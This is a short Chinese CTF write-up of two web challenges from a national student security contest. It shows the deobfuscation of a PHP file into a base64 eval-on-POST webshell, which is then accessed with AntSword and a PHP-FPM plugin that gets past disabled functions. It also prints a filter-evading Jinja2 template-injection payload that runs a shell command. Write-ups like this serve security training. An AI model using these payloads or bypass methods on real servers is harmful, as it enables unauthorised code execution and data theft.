第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛web方向部分wp
hello_web
查看源代码发现有两个文件,访问一下
Tips是phpinfo
里面可以看到disable_functions
hackme.php中$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
Url解码
得到n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
搜索一下
得到YwzIst=base64_decode,OxirhK=strtr,YpAUWC=substr,rVkKjU=52
Base64解码得到$uWcdaA的值和解码规则
base64_decode(strtr(substr($uWcdaA,52*2),substr($uWcdaA,52,52),substr($uWcdaA,0,52))
从而得到PD9waHAgQGV2YWwoJF9QT1NUWydjbWRfNjYuOTknXSk7ID8+Cg==
最后解码
用蚁剑链接发现var目录查看不了,用插件Fastcgi/PHP-FPM
最后查看var下找到flag
这里当时遇到一个问题,就是插件一直链接不上,到最后也没发现是什么问题,好在在比赛快结束前成功进入目录拿到了flag,所以还是更加建议大家使用哥斯拉或者冰蝎
Safe_Proxy
使用fenjing工具无果后,用脚本
得到code:
shell_payload="{%set gl=''*2+'globals'+''2%}{%set bu='_'2+'builtins'+''*2%}{%set im=''2+'i''mport'+'_'2%}{%set bw='so'[::-1]%}{{g.pop[gl][bu]im['p''open']('cat /flag > app.py').read()}}"
然后再次访问网址,即可得到flag